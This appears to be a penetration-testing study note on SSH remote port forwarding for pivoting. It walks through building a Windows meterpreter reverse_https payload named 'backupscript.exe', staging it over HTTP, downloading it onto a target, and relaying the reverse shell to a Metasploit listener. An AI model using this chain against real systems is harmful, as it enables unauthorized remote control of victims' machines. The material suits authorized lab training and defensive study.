---
title: "3. Remote & Reverse port forwarding with SSH"
date: 2024-08-24
draft: false
---

Sometimes, we might want to forward a local service to the remote port as well. ![](/img/Pasted image 20240824140518.png)
The `outgoing connection` for the Windows host is only limited to the `172.16.5.0/23` network.
![](/img/Pasted image 20240824140702.png|750)

## Windows msfvenom payload for reverse port forwarding

 We will use the port 8080 on the Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our Metasploit listener is running.
 
```bash
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
```
`lhost` in this scenario (pic above) is 172.16.5.129

Can use metasploit to start a listener. 
```bash
msf6 > use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run
```

Transfer payload to ubuntu host: 
```bash
scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
```
Start HTTP server on ubuntu server in same directory as payload: 
```bash
python3 -m http.server 8123
```
Download payload on windows machine: 
```bash
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
```
Once payload is on windows host: 
- Use SSH remote port forwarding to forward connections from UBUNTU PORT 8080 -> MSFCONSOLE LISTENER PORT 8000
- `-vN` argument used in ssh command to make it verbose and ask it not to prompt login shell. 
- `-R` asks Ubuntu to listen on `<targetIP>:8080` and forward all incoming connections on port `8080` to our listener on `0.0.0.0:8000` of the attack host 

(RUN FROM ATTACKING HOST)
```bash
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
```

With this setup, we run payload from Windows target. If payload is executed as intended we can see logs from pivot on pivot host. 

